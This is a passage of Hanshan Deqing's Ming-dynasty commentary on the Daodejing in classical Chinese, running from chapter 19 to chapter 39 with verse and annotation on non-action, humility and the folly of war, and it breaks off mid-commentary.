古之治,須是一切盡去,端拱無為,而天下自治矣。且聖智本欲利民,今既竊以為亂,反為民害。棄而不用,使民各安其居,樂其業,則享百倍之利矣。且仁義本為不孝不慈者勸,今既竊之以為亂,苟若棄之,則民有天性自然之孝慈可復矣。此即莊子所謂虎狼仁也。意謂虎狼亦有天性之孝慈,不待教而後能。況其人為物之靈乎。且智巧本為安天下,今既竊為盜賊之資,苟若棄之,則盜賊無有矣。然聖智仁義智巧之事,皆非樸素,乃所以文飾天下也。今皆去之,似乎於文則不定,於樸素則有餘。因世人不知樸素渾全之道,故逐逐於外物,故多思多欲。今既去華取實,故令世人心志,有所係屬於樸素之道。若人人果能見素抱樸,則自然少思寡欲矣。若知老子此中道理,只以莊子馬蹄胠篋作註解,自是超足。\n絕學、無憂。唯之與阿、相去幾何。善之與惡、相去何若。人之所畏、不可不畏。荒兮、其未央哉。眾人熙熙、如享太牢、如登春臺。我獨泊兮其未兆、如嬰兒之未孩。乘乘兮、若無所歸。眾人皆有餘。而我獨若遺。我愚人之心也哉。沌沌兮。俗人昭昭。我獨昏昏。俗人察察。我獨悶悶。澹兮其若海。飂兮似無所止。眾人皆有以。我獨頑且鄙。我獨異於人。而貴求食於母。\n【註】此承前二章言聖智之為害,不但不可用,且亦不可學也。然世俗無智之人,要學智巧仁義之事。既學於己,將行其志。則勞神焦思,汲汲功利,盡力於智巧之間。故曰巧者勞而智者憂。無知者又何所求。是則有學則有憂,絕學則無憂矣。然聖人雖絕學,非是無智。但智包天地而不用。順物忘懷,澹然無欲,故無憂。世人無智而好用。逐物忘道,汨汨於欲,故多憂耳。斯則憂與無憂,端在用智不用智之間而已。相去不遠,譬夫唯之與阿,皆應人之聲也,相去能幾何哉,以唯敬而阿慢。憂與無憂,皆應物之心也,而聖凡相隔,善惡相反,果何如哉。此所謂差之毫釐,失之千里也。老子言及至此,恐世俗將謂絕學,便是瞢然無知。故曉之曰,然雖聖人絕學,不是瞢然無知,其實未嘗不學也。但世俗以增長知見,日益智巧,馳騁物欲以為學。聖人以泯絕知見,忘情去智,遠物離欲以為學耳。且夫聲色貨利,皆傷生害道之物,世人應當可畏者。我則不可不畏懼而遠之。故曰人之所畏,不可不畏。苟不知畏,汨沒於此,荒淫無度,其害非細。故曰荒兮其未央哉。央,盡也。由是觀之,世人以增益知見為學。聖人以損情絕欲為學。所謂為學日益,為道日損,損之又損,以至於無為耳。眾人忘道逐物,故汨汨於物欲之間。酷嗜無厭,熙熙然如享太牢之味,以為至美。方且榮觀不休,如登春臺之望,以為至樂。老子謂我獨離物向道,泊於物欲未萌之前,不識不知,超然無欲。故曰我獨泊兮其未兆,若嬰兒之未孩。兆,念之初萌也。嬰兒,乃無心識愛惡之譬。孩,猶骸骨之骸。未骸,所謂骨弱筋柔。乃至柔之譬。眾人見物可欲,故其心執著而不捨。老子謂我心無欲,了無繫累。泛然應物,虛心遊世,若不繫之舟。故曰乘乘兮若無所歸。乘乘,猶泛泛也。眾人智巧多方,貪得無厭,故曰有餘。我獨忘形去智,故曰若遺。遺,猶忘失也。然我無知無我,豈真愚人之心也哉。但只渾渾沌沌,不與物辨,如此而已。故俗人昭昭,而我獨昏昏。昭昭,謂智巧現於外也。俗人察察,而我獨悶悶。察察,即俗謂分星擘兩,絲毫不饒人之意。昏昏悶悶,皆無知貌。我心如此,澹然虛明,若海之空闊不可涯量。颼然無著,若長風之御太虛。眾人皆自恃聰明知見,各有所以。以,猶自恃也。我獨無知無欲,頑而且鄙,亦似庸常之人而已。然我所以獨異於人者,但貴求食於母耳。凡能生物者,謂之母。所生者,謂之子。且此母字,不可作有名萬物之母的母字。此指虛無大道,能生天地萬物,是以道為母,而物為子。食,乃嗜好之意。眾人背道逐物,如棄母求食於子。聖人忘物體道,故獨求食於母。此正絕學之學。聖人如此,所以憂患不能入也。前章絕聖棄智,乃無用之用。此章絕學無憂,乃無學之學。後章孔德之容一章,乃無形名之形名耳。\n孔德之容、惟道是從。道之為物、惟恍惟惚。惚兮恍、其中有象。恍兮惚、其中有物。窈兮冥、其中有精。其精甚真。其中有信。自古及今、其名不去、以閱眾甫。吾何以知眾甫之然哉、以此。\n【註】此章言道乃無形名之形名也。孔,猶盛也。謂道本無形,而有道之士,和氣集於中,英華發現於外,而為盛德之容。且此德容,皆從道體所發,即是道之形容也。故曰孔德之容,惟道是從。然此道體本自無形,又無一定之象可見。故曰道之為物,惟恍惟惚。恍惚,謂似有若無,不可定指之意。然且無象之中,似有物象存焉。故曰惚兮恍,其中有象。恍兮惚,其中有物。其體至深至幽,不可窺測。且此幽深窈冥之中,而有至精無妄之體存焉。故曰窈兮冥,其中有精。其精甚真,此正楞嚴所謂唯一精真。精色不沈,發現幽秘,此則名為識陰區宇也。學者應知。然此識體雖是無形,而於六根門頭,應用不失其時。故曰其中有信。此上皆無形之形。下言無名之名。謂世間眾美之名自外來者,皆是假名無實,故其名易去。惟此道體有實有名,故自古及今,其名不去,以閱眾甫也。閱,猶經歷。甫,美也。謂眾美皆具。是以聖人功流萬世而名不朽者,以其皆從至道體中流出故耳。其如世間王侯將相之名,皆從人欲中來,故其功亦朽,而名亦安在哉。唯有道者,不期於功而功自大,不期於名而名不朽。是知聖人內有大道之實,外有盛德之容,眾美皆具,惟自道中而發也。故曰吾何以知眾甫之然哉,以此。\n曲則全。枉則直。窪則盈。敝則新。少則得。多則惑。是以聖人抱一為天下式。不自見故明。不自是故彰。不自伐故有功。不自矜故長。夫惟不爭、故天下篡能與之爭。古之所謂曲則全者、豈虛言哉。誠全而歸之。\n【註】此承前章言聖人所以道全德備眾美皆具者,蓋由虛心體道,與物無競,故眾德交歸也。曲,委曲。即曲成萬物而不遺之意。謂聖人委曲以御世,無一事不盡其誠,無一人不得其所。譬如陽春發育萬物,雖草芥毫芒,春氣無不充足。若纖毫不到,則春氣不全。聖人之於人,無所不至。苟不曲盡其誠,則其德不全矣。故曰曲則全。枉則直者,屈己從人曰枉。直,伸也。謂聖人道高德盛,則大有徑庭,不近人情。若不屈己從人,俯循萬物,混世同波,則人不信。人不信,則道不伸。由人屈而道伸。故曰枉則直。窪則盈者,眾水所聚,地之最下者,曰窪。譬如江海最為窪下,故萬派皆歸。而聖人之心至虛至下,故眾德交歸,德無不備。故曰窪則盈。敝則新者,衣之汙損日敝。不敝,則不浣濯,不見其新。以其敝乃新耳。以譬聖人忘形去智,日損其知見,遠其物欲,洗心退藏於密。欲不敝,則道不新。故曰敝則新。聖人忘知絕學,專心於一,故於道有得。故曰少則得。世人多知多見,於道轉失。故曰多則惑。是以聖人因愍世人以多方喪道,故抱一為天下學道之式。式,法也。智巧衒耀於外曰見。自見者不明,故不自見乃為明耳。執己為必當曰是,自是者不彰,故不自是乃彰耳。彰者,盛德顯於外也。誇功,曰伐。自伐者無功,故不自伐乃有功耳。司馬遷嘗謂韓信,假令學道謙讓,不伐己功,不矜其能。則庶幾於漢家勳,可比周召太公之徒矣。意蓋出此。恃己之能曰矜。長,才能也。自矜者不長,不自矜者乃長耳。此上四不字,皆不爭之德也。惟聖人有之。故曰夫惟不爭,故天下莫能與之爭者。由其聖人委曲如此,故萬德交歸,眾美備具。故引古語以證之曰,古之所謂曲則全者,豈虛言哉,誠全而歸之。\n希言、自然。飄風不終朝。驟雨不終日。孰為此者天地。天地尚不能、而況於人乎。故從事於道者。道者同於道。德者同於德。失者同於失。同於道者、道亦樂得之。同於德者、德亦樂得之。同於失者、失亦樂得之。信不足、有不信。\n【註】此章言聖人忘言體道,與時俱化也。希,少也。希言,猶寡言也。以前云多言數窮,不如守中。由其勉強好辯,去道轉遠,不能合乎自然。惟希言者,合乎自然耳。向下以飄風不終朝,驟雨不終日,以比好辯者之不能久。然好辯者,蓋出憤激不平之氣。如飄風驟雨,亦乃天地不平之氣。非不迅激如人,特無終朝之久。且天地不平之氣,尚不能久,而況於人乎。此甚言辯之不足恃也。蓋好辯者,只為信道不篤,不能從事於道,未得玄同故耳。惟聖人從事於道,妙契玄同,無入而不自得。故在於有道者,則同於道。在於有德者,則同於德。失者,指世俗無道德者。謂至於世俗庸人,亦同於俗。即所謂呼我以牛,以牛應之,呼我以馬,以馬應之,無可不可。且同於道德,固樂得之。即同於世俗,亦樂而自得。此無他,蓋自信之真,雖不言,而世人亦未有不信者。且好辯之徒,曉曉多言,強聒而不休,人轉不信。此無他,以自信不足,所以人不信耳。\n跂者不立。跨者不行。自見者不明。自是者不彰。自伐者無功。自矜者不長。其在道也、曰餘食贅行(行作形)。物或惡之。故有道者、不處也。\n【註】此承前章言好辯者不能持久,猶如跂跨之人不能立行,甚言用智之過也。跂,足根不著地也。跨,闊步而行也。蓋跂者只知要強高出人一頭,故舉踵而立。殊不知舉踵不能久立。跨者只知要強先出人一步,故闊步而行。殊不知跨步不能長行。以其皆非自然。以此二句為向下自見自是自伐自矜之譬喻耳。自見,謂自逞己見。自是,謂偏執己是。此一曲之士,於道必暗而不明。自伐,謂自誇其功。自矜,謂自恃其能。此皆好勝強梁之人,不但無功,而且速於取死。然此道中本無是事。故曰其在道也,如食之餘,如形之贅,皆人之所共惡。而有道之士,以謙虛自守,必不處此。故曰有道者不處。以其不能合乎自然也。\n有物混成、先天地生。寂兮寥兮。獨立而不改。周行而不殆。可以為天下母。吾不知其名、字之曰道。強為之名曰大。大曰逝。逝曰遠。遠曰反。故道大、天大、地大、王亦大。域中有四大、而王處一焉。人法地。地法天。天法道。道法自然。\n【註】此承前言世俗之士,各以己見己是為得。曾不知大道之妙,非見聞可及。故此特示大道以曉之也。有物者,此指道之全體,本來無名,故但云有一物耳。渾渾淪淪,無有絲毫縫隙,故曰混成。未有天地,先有此物,故曰先天地生。且無聲不可聞,無色不可見,故曰寂寥。超然於萬物之上,而體常不變,故曰獨立而不改。且流行四時,而終古不窮,故曰周行而不殆。殆,窮盡也。天地萬物,皆從此中生,故曰可以為天下母。老子謂此物至妙至神,但不知是何物,故曰吾不知其名,特字之曰道。且又強名之曰大道耳。向下釋其大字。老子謂我說此大字,不是大小之大。乃是絕無邊表之大。往而窮之,無有盡處。故云大曰逝。向下又釋逝字。逝者遠而無所至極也。故云逝曰遠。遠則不可聞見,無聲無色,非耳目之所到。故云遠曰反。反,謂反一絕跡。道之極處,名亦不立,此道之所以為大也。然此大道,能生天生地,神鬼神王。是則不獨道大,而天地亦大。不獨天地大,而王亦大。故域中所稱大者有四,而王居其一焉。世人但知王大,而不知聖人取法於天地。此則天地又大於王。世人但知天地大,而不知天地自道中生,取法於道。此則道又大於天地也。雖然,道固為大,而猶有稱謂名字。至若離名絕字,方為至妙,合乎自然。故曰道法自然。且而大道之妙,如此廣大精微。而世人豈可以一曲之見,自見自是以為得哉。此其所以自見者不明,自是者不彰耳。\n重為輕根。靜為躁君。是以聖人終日行、不離輜重。雖有榮觀、燕處超然。奈何萬乘之主、而以身輕天下。輕則失根。躁則失君。\n【註】此誡君人者,當知輕重動靜,欲其保身重命之意也。然重字指身。輕字指身外之物,即功名富貴。靜字指性命。躁字指嗜慾之情。意謂身為生本,固當重者。彼功名利祿,聲色貨利,乃身外之物,固當輕者。且彼外物必因身而後有,故重為輕之根。性為形本,固至靜者。彼馳騁狂躁,甘心物慾,出於好尚之情者,彼必由性而發,故靜為躁之君。世人不知輕重,故忘身徇物,戕生於名利之間。不達動靜,故傷性失真,馳情於嗜慾之境。惟聖人不然,雖終日行而不離輜重。輜重,兵車所載糧食者也。兵行而糧食在後,乃大軍之司命。雖千里遠行,深入敵國,戒其擄掠,三軍不致鼓譟以取敗者,賴其所保輜重也。聖人遊行生死畏途,不因貪位慕祿,馳情物慾,而取戕生傷性之害者,以其所保身心性命為重也。故曰不離輜重。縱使貴為天子,富有四海之榮觀,但恬澹燕處,超然物慾之表。此其堯舜有天下而不與也。奈何後之人主,沈暝荒淫於聲色貨利之間,戕生傷性而不悟。是以物為重而身為輕也。故曰身輕天下。奈何者,怪歎之詞。物重則損生,故曰輕則失根。慾極則傷性,故曰躁則失君。君,謂性也。莊子養生讓王,蓋釋此篇之意。子由本云,輕則失臣。然臣字蓋亦指身而言。齊物以身為臣妾,以性為真君,源出於此。\n善行無轍跡。善言無瑕謫。善計不用籌策。善閉無關鍵而不可開。善結無繩約而不可解。是以聖人常善救人、故無棄人。常善救物、故無棄物。是謂襲明。故善人者、不善人之師。不善人者、善人之資。不貴其師。不愛其資。雖智大迷。是謂要妙。\n【註】此言聖人善入塵勞,過化存神之妙也。轍跡,猶言痕跡。世人皆以人我對待,動與物競,彼此不忘,故有痕跡。聖人虛己遊世,不與物忤,任物之自然,所謂忘於物者物亦忘之。彼此兼忘,此行之善者。故無轍跡。瑕謫,謂是非辨別,指瑕謫疵之意。聖人無意必固我。因人之言。然,然。不然,不然。可,可。不可,不可。未嘗堅白同異,此言之善者,故無瑕謫。籌策,謂揣摩進退,算計得失利害之意。聖人無心御世,迫不得已而後應,曾無得失之心。然死生無變於己,而況利害之端乎。此計之善者,故不用籌策。關鍵,閉門之具。猶言機關也。世人以巧設機關,籠羅一世,將謂機密而不可破。殊不知能設之,亦有能破之者。歷觀古之機詐相尚之士,造為勝負者,皆可破者也。唯聖人忘機待物,在宥群生。然以道為密,不設網羅,而物無所逃。此閉之善者,所謂天下莫能破。故無關鍵而不可開。繩約,謂繫屬之意。世人有心施恩,要以結屬人心。殊不知有可屬,亦有可解。然有心之德,使人雖感而易忘,所謂賊莫大於德有心。聖人大仁不仁,利澤施乎一世,而不為己功,且無望報之心,故使人終古懷之而不忘。此結之善者,故無繩約而不可解。是以聖人處世,無不可化之人,有教無類,故無棄人。無不可為之事,物各有理,故無棄物。物,猶事也。如此應用,初無難者,不過承其本明,因之以通其蔽耳。故曰襲明。襲,承也。猶因也。莊子庖丁游刃解牛,因其固然,動刀甚微,劃然已解。意出於此。觀留侯躡足附耳,因偶語而乞封,借四皓而定漢,以得老氏之用。故其因事處事,如此之妙,可謂善救者也。其他孰能與之。故世之善人,不善人之師。不善人,善人之資。由其飾智矜愚,修身明汙,故皆知師之可貴。擇類而教,樂得而育,故皆知資之可愛。若夫聖人為舉世師保,而不知其師之可貴。化育億兆,而不知其資之可愛。所謂兼忘天下易。使天下忘己難。此雖在智者,猶太迷而不知,況淺識乎。斯所過者化,所存者神,是謂要妙。\n知其雄、守其雌、為天下谿。為天下谿、常德不離、復歸於嬰兒。知其白、守其黑、為天下式。為天下式、常德不忒、復歸於無極。知其榮、守其辱、為天下谷。為天下谷、常德乃足、復歸於樸。樸散則為器。聖人用之則為官長。故大制不割。\n【註】此承上章行道之妙,而言聖人不以知道為難,而以守道為要妙也。古德云,學道,悟之為難。既悟,守之為難。然行道之妙,實出於守道之要耳。蓋此中知字,即悟也。知雄守雌者,物無與敵謂之雄,柔伏處下謂之雌。谿,乃窊下之地。眾水所歸之處也。嬰兒者,柔和之至也。前云專氣致柔,能如嬰兒乎。然氣雖勝物,物有以敵之。而道超萬物,物無與敵者。故謂之雄。聖人氣與道合,心超物表。無物與敵,而能順物委蛇,與時俱化,不與物競,故曰知其雄,守其雌。由守其雌,故眾德交歸,如水之就下,故為天下谿也。由乎處下如谿,故但受而不拒,應而不藏,流潤而不竭,故曰常德不離。以入物而物不知,如嬰兒終日號而嗌不嗄,和之至也。以能勝物而不傷,故曰復歸於嬰兒。知白守黑者。白,謂昭然明白。智無不知之意。黑,昏悶無知之貌。式,謂法則。忒,差謬也。謂聖人智包天地,明並日月,而不自用其知。所謂明白四達,能無知乎。故曰知其白,守其黑。由其真知而不用其知,故無強知之過謬,故可為天下式。然強知則有謬,謬則有所不知。既有所不知,則知不極矣。今知既無謬,則知無不極,故曰復歸於無極。知榮守辱者。榮,乃光榮貴高。辱,乃汙辱賤下。谷,乃虛而能應者也。樸,謂樸素。乃木之未雕斲也。謂聖人自知道光一世,德貴人臣,而不自有其德。乃以汙辱賤下,蒙恥含垢以守之。所謂光而不耀,仁常而不居者,虛之至也。故為天下谷。由其虛,故常德乃足。德自足於中,則不緣飾於外,故復歸於樸素也。以虛而能應物,故樸散則為器。聖人以此應運出世,則可以官天地府萬物。故能範圍天地而不過。曲成萬物而不遺。化行於世而無棄人棄物。故曰大制不割。割,截斷也。不割者,不分彼此界限之意。\n將欲取天下而為之。吾見其不得已。天下神器、不可為也。為者敗之。執者失之。故物或行或隨。或呴或吹。或強或羸。或載或隳。是以聖人去甚、去奢、去泰。\n【註】此言聖人道全德備,應運出世,為官為長。當任無為無事,而不可有為太過也。由上章云,樸散則為器。聖人用之則為官長。故老子因而誡之曰,將欲取天下者,當任自然,不可有心為之。而有心為之者,吾見其必不可得已。何也,且天下者大器,有神主之。豈可以人力私智取而奪之耶。故曰不可為也。而為之者,必反敗之。縱為而得之,亦不可執為己有。而執之者,必反失之。故如強秦力能併吞六國,混一天下,是為之也。且誓云一世以至萬世,是執之也。故不旋踵而敗,二世而亡,豈非為者敗之,執者失之之驗歟。然而所以敗之失之者,以其所處過甚,而奢泰之極也。凡物極則反,此亦自然之勢耳。故物或行而在前。或復隨而在後。或呴而煖。或反吹而寒。或強而壯。或又尪羸而弱。或正載而成。或即隳頹而毀。此何以故,是皆用力過甚,而奢泰之極也。此皆聖人所不處。故曰是以聖人去甚,去奢,去泰。\n以道佐人主者、不以兵強天下。其事好。師之所處、荊棘生焉。大軍之後、必有凶年。善者果而已。不敢以取強。果而勿矜。果而勿伐。果而勿驕。果而不得已。果而勿強。炒壯則老。是謂不道。不道早已。\n【註】此承上言聖人不為已甚,故誡之不可以兵強天下也。凡以兵強者,過甚之事也。勢極則反,故其事好還。師之所處,必蹂踐民物,無不殘掠,故荊棘生。大軍之後,殺傷和氣,故五穀疵癘而年歲凶,此必然之勢也。然於濟弱扶傾,除暴救民,蓋有不得不用之者,惟在善用。善用者,果而已。已者,休也,此也。果,猶言結果。俗云了事便休。謂但可了事令其平服便休,不敢以此常取強焉。縱能了事,而亦不可自矜其能。亦不可自伐其功。亦不可驕恃其氣。到底若出不得已。此所謂果而不可以取強也。取強者,速敗之道。且物壯甚則易老,況兵強乎。凡物恃其強壯而過動者,必易傷。如世人恃強而用力過者,必夭死於力。恃壯而過於酒色者,必夭死於酒色。蓋傷元氣也。元氣傷,則死之速。兵強亦然。故曰是謂不道。不道早已。已者,絕也。又已者,止也。言既知其為不道,則當速止而不可再為也,亦通。孟子言威天下不以兵革之利,其有聞於此乎。\n夫佳兵者、不祥之器。物或惡之。故有道者不處。君子居則貴左。用兵則貴右。兵者不祥之器。非君子之器。不得已而用之。恬淡為上。勝而不美。而美之者、是樂殺人。夫樂殺人者、不可以得志於天下矣。吉事尚左。凶事尚右。偏將軍居左。上將軍居右。言居上勢、則以喪禮處之。殺人眾多、以悲哀泣之。戰勝、以喪禮處之。\n【註】此承上言不以兵強天下,故此甚言兵之不可尚也。佳兵,乃用兵之最精巧者,謂之佳兵。凡善用兵者,必甘心於殺人。兵益佳而禍益深,故為不祥之器。歷觀古今善用兵者,不但不得其死,而多無後。此蓋殺機自絕,而造物或惡之者。以其詐變不正,好殺不仁,故有道者不處。不但有道者不處,而苟有仁心者,亦不處也。何以知其然耶。觀夫君子所居則以左為貴,用兵則以右為貴,然右乃凶地,由是而知兵者,乃不祥之器,非君子之器也。萬一不得已而用之者。老子誡曰,當以恬淡為上。恬淡者,言其心和平,不以功利為美,而厭飽之意。既無貪功欲利之心,則雖勝而不以為美。縱不貪功利,而若以勝為美者,亦是甘心樂於殺人。夫樂於殺人者,必不可使其得志於天下。所謂造物或惡之也。若使此輩得志於天下,將為殘害而無涯量矣。且世之吉事必尚左。凶事則尚右。凶事,謂喪事也。所以用兵則貴右,言其可哀也。故兵家以偏將軍居左,以上將軍居右者,蓋上將軍司殺之重者。言居上勢者,則當以喪禮處之也。故殺人眾多,則當以悲哀泣之。即戰勝,亦當以喪禮處之。甚言其不得已而用之,即不得已而處之也。上二章,通言人臣不能以道佐人主,而返以兵為強者,故切誡之。\n道、常。無名。樸雖小、天下不敢臣。侯王若能守、萬物將自賓。天地相合以降甘露。民莫之令而自均。始制有名。名亦既有、夫亦將知止。知止、所以不殆。譬道之在天下、猶川谷之於江海也。\n【註】此承上章不以兵強天下,因言人主當守道無為,則萬物賓而四海服,天地合而人民和,自然利濟無窮也。常者,終古不變之義。凡有名者,必遷變。道之所以不變者,以其無名也。故曰道常無名。樸,乃無名之譬。木之未制成器者,謂之樸。若制而成器,則有名矣。小,猶眇小。謂不足視也。且如合抱之材,智者所不顧。若取徑寸以為冠,則愚者亦尊焉。是以名為大,而以無名為小。甚言世人貴名,概以樸為不足視。故以道曰樸曰小也。然道雖樸小,而為天地萬物之本。即愚夫愚婦,而亦知所尊。故曰天下不敢臣。但侯王不能守耳。藉使侯王若能守,則萬物自然賓服矣,奚假兵力哉。然兵者凶器,未必賓服一國。且上干和氣,必有凶年。若以道服之,不但萬物來賓。抑且和氣致祥,天地相合以降甘露。兵來未必盡和民人,若以道宥之,則民莫之令而自然均調,各遂其生。無名之樸,利濟如此,惜乎侯王不能守之善用耳。若散樸為器,始制則有名矣。始,猶方纔也。謂樸本無名,方纔制作,則有名生焉。且從無名而有名。既有名,而名又有名,將不知其所止矣。莊子所謂從有適有,巧歷不能得,故曰名亦既有。而殉名者愈流愈下,逐末忘本,不知其返矣。故老子戒之曰,夫名者,不可馳騖而不返。亦將知止而自足。苟不知止足,則危殆而不安。知止所以不殆也。由是而知道在天下,為萬物之宗,流潤無窮,猶川谷之於江海也。然江海所以流潤於川谷,川谷無不歸宗於江海。以譬道散於萬物,萬物莫不賓服於大道。此自然之勢也。意明侯王若能守,其效神速於此。\n知人者智。自知者明。勝人者有力。自勝者強。知足者富。強行者有志。不失其所者久。死而不亡者壽。\n【註】此因上言侯王當守道無為,故此教以守之之要也。知人者,謂能察賢愚,辨是非,司黜陟,明賞罰,指瑕摘疵,皆謂之智。但明於責人者,必昧於責己。然雖明於知人為智,不若自知者明也。老子謂孔子曰,聰明深察而近於死者,好議者也。博辯宏大而危其身者,好發人之惡也。去子之恭驕與智能,則近之矣。謂是故也。莊子云,所謂見見者,非謂見彼也,自見而已矣。所謂聞聞者,非謂聞彼也,自聞而已矣。能自見自聞,是所謂自知者明也。世之力足以勝人者,雖云有力。但強梁者必遇其敵,不若自勝者強。然欲之伐性,殆非敵國可比也。力能克而自勝之,可謂真強。如傳所云,和而不流,中立而不倚者,所謂自強不息者也。凡貪得無厭者,必心不足。苟不知足,雖尊為天子,必務厚斂以殃民。雖貴為侯王,必務強兵而富國。即縱適其欲,亦將憂而不足,故雖富不富。苟自知足,則鷦鷯偃鼠,藜藿不糝,抑將樂而有餘,此知足者富也。強志,好過於人者,未為有志。惟強行於道德者,為有志也。所者,如北辰居其所之所。又故有之義,蓋言其性也。孟子曰,性者故而已矣。世人貪欲勞形,冀立久長之業。殊不知戕生傷性,旋踵而滅亡,誰能久哉。惟抱道凝神,而復於性真者,德光終古,澤流無窮,此所謂不失其所者久也。世人嗜味養生,以希壽考,殊不知厚味腐腸,氣憊速死,誰見其壽哉。惟養性復真,形化而性常存,入於不死不生,此所謂死而不亡者壽也。老子意謂道大無垠,人欲守之,莫知其向往。苟能知斯數者,去彼取此,可以入道矣。侯王知此,果能自知自勝,知足強行。適足以全性復真,將與天地終窮。不止賓萬物,調人民而已。又豈肯以蝸角相爭,以至戕生傷性者哉。\n大道氾兮、其可左右。萬物恃之以生而不辭。功成不名有。愛養萬物而不為主。常無欲、可名於小。萬物歸焉而不為主、可名為大。是以聖人終不為大、故能成其大。\n【註】此言道大無方,聖人心與道合,故功大無外,以實前侯王能守之效也。氾者,虛而無著之意。以道大無方,體虛而無繫著,故其應用無所不至。故曰其可左右。以體虛無物,故生物而不辭。以本無我,但任物自生。故生物功成而不名己有。以與物同體,故雖愛養萬物而不為主。其體所以真常者,以其至淡無味,無可欲也。由無可欲,故不足視,似可名於小。若夫萬物歸焉而不為主,則可名為大矣。然小大因物以名之,道豈然耶。是以聖人忘形釋智,圖於至細,志與道合,終不為大,故能成其大。若夫侯王專務於大,豈能成其大哉。言外之教,亦深切矣。\n執大象、天下往。往而不害、安平泰。樂與餌、過客止。道之出口、淡乎其無味。視之不足見。聽之不足聞。用之不可既。\n【註】此明前章未盡之意也。無象,謂之大象。大象無形,而能入眾形,有形者無不歸。聖人執無我以御天下,故天下莫不往,以其與物同體也。萬物恃之以生,故無往而不利,故云往而不害。然忘於物者,物亦忘之,故物各得其所而無不安。物物相忘而無競,故無不平。暖然如春,故無不泰。此所謂萬物賓,而天地合,人民和,故聖人終不為大,而能成其大也。前云道之所以常者,以其淡然無味,無可欲也。若夫樂之於耳,餌之於口,皆有味而可欲者。若張之於途,雖過客亦止之。然雖暫止,而不能久留,以其用之有盡,蓋不常也。若夫道之出口,則淡乎無味,不若餌之可欲。視之不足見,聽之不足聞,不若樂之可欲。此可名於小。然而其體真常,故用之不可既。既,盡也。故可名為大。此大象之譬,以譬人君苟能執大象以御天下,恬淡無為。雖無聲色以悅天下之耳目。無貨利以悅天下之心志。而天下歸往樂推而不厭。此所謂萬物歸焉而不為主,可名為大也。如此用之,豈有盡耶。\n將欲翕之、必固張之。將欲弱之、必固強之。將欲廢之、必固興之。將欲奪之、必固與之。是謂微明。柔弱勝剛強。魚不可脫於淵。國之利器、不可以示人。\n【註】此言物勢之自然,而人不能察,教人當以柔弱自處也。天下之物,勢極則反。譬夫日之將昃,必盛赫。月之將缺,必極盈。燈之將滅,必熾明。斯皆物勢之自然也。故固張者,翕之象也。固強者,弱之萌也。固興者,廢之機也。固與者,奪之兆也。天時人事,物理自然。第人所遇而不測識,故曰微明。斯蓋柔弱勝剛強之義耳。譬夫淵為魚之利處,但可潛形而不可脫。脫則塊然無能為。柔弱為國之利器,人主但可恭默自處,不可揭示於人。示人則致敵而招侮,將反見其不利也。夫是之謂微明。世之觀此章,皆謂老子用機智,大非本指。蓋老子所以觀天之道,執天之行是已。殆非機智之端也。\n道常、無為、而無不為。侯王若能守、萬物將自化。化而欲作、吾將鎮之以無名之樸。無名之樸、亦將不欲。不欲以靜、天下將自正。\n【註】此教人君乘流救弊之意也。以其道常無為而無不為,故侯王但能守之者,而萬物不期化而自化矣。此言守道之效,神速如此。然理極則弊生。且而物之始化也皆無欲。化久而信衰情鑿,其流必至於欲心復作。當其欲作,是在人君善救其弊者,必將鎮之以無名之樸,而後物欲之源可塞也。若施之以有名,則不濟耳。然無名之樸,雖能窒欲,若執此而不化,又將為動源矣。譬夫以藥治病,病去而藥不忘,則執藥成病。故云無名之樸,亦將不欲。此亦不欲,則可專以靜而制群動,無敢作者。故云天下將自正。自正者,謂不待正而自正矣。鎮,猶壓也。如石壓草,非不生也。蓋以無名之樸,鎮壓之而已。若欲樸之心,亦是欲機未絕。是須以靜制之,其機自息。機息則心定,而天下自正矣。故雖無名之樸,可用而不可執,況有名乎。\n老子道德經解 上篇終\n明建鄴憨山道者德清著上德不德、是以有德。下德不失德、是以無德。上德無為、而無以為。下德為之、而有以為。上仁為之、而無以為。上義為之。而有以為。上禮為之、而莫之應、則攘臂而仍之。故失道而後德。失德而後仁。失仁而後義。失義而後禮。夫禮者、忠信之薄、而亂之首也。前識者、道之華而愚之始。是以大丈夫處其厚、不居其薄。處其實、不居其華。故去彼取此。\n【註】此言世降道衰,失真愈遠,教人當返其本也。所言道,乃萬物之本。德,乃成物之功。道為體而德為用。故道尊無名,德重無為。故道言有無,而德言上下。此道德之辨也。上德者,謂上古聖人,與道冥一,與物同體。雖使物各遂生,而不自有其德。以無心於德,故德被群生,終古不忘。故云上德不德,是以有德。下德者,謂中古以下,不知有道,但知有德。故德出於有心,自不能忘。且有責報之心,物難感而易忘。故云下德不失德,是以無德。失,忘也。以,恃也。然上德所以有德者,以德出無為。功成事遂,而無恃為之心,故云無以為。下德所以無德者,以德出有心。而又矜功恃為,故云有以為。由是觀之,道無真偽,而德則有真有偽矣。此世數淳薄之辨也。德又下衰,上德不稱,而下德為尊,於是始有仁義之名。然仁義皆出於不德,故皆不免有心為之。但上仁雖為,而無恃為之心,故云無以為。上義則恃之矣,故云有以為。且仁義上者為真,三王是已。下則為假,五霸是已。故不足言。此又下衰,仁義之下,則禮為上矣。禮則但以虛名相尚,不復知有仁義,故上禮為之,有莫之應者。如孔子作春秋,雖正名分,而卒莫能正,此莫之應也。不唯不應,且將臂攘而仍之。此五霸之餘,戰國之習也。且彼既不知仁義,則必相因而報復之矣。仍,相因之意。又復也。此所以為忠信之薄,而亂之首也。故其德下衰,至此已極,聖人亦無可為天下之具矣。故失道而後德。失德而後仁。失仁而後義。失義而後禮。故禮乃忠信之薄,為亂之首也。所以愈流愈下者,乃用智之過也。前識,猶言蚤智,謂明見利害於未然者。然蚤智在孔子,則為周身之防,所謂明哲保身之意。其次則如范蠡樂毅之儔,以為避名全節之計。又其次則為儀秦縱橫遊說之流矣。然在聖人,則謂之權。在樂范,則謂之好高而務名。名者實之賓,故謂道之華。在儀秦用之,則為愚之始也。此所謂才智,君子用之則成名,小人用之則殺身,豈非愚之始耶。故太上以道德為尊,而仁義次之。故大丈夫處厚而不處薄。務實而不務華。故去彼取此。\n昔之得一者。天得一以清。地得一以寧。神得一以靈。谷得一以盈。萬物得一以生。侯王得一以為天下正。其致之、一也。天無以清、將恐裂。地無以寧、將恐發。神無以靈、將恐歇。谷無以盈、將恐竭。萬物無以生、將恐滅。侯王無以正、而貴高將恐蹶。故貴以賤為本。高以下為基。是以侯王自謂孤寡不穀。此其以賤為本耶、非乎。故致數車、無車。不欲碌碌如玉、落落如石。\n【註】此言道無為而無不為,以明無用之用為大用。欲君人者,當以無為而治也。一者,道之體也。其體至虛而無為,精一無二。凡諸有為,莫不以之為本。以,用也。意謂天地萬物,皆以道體而為本也。故天得之而清覆於上。地得之而寧載於下。神,指人心而言。謂人得之而為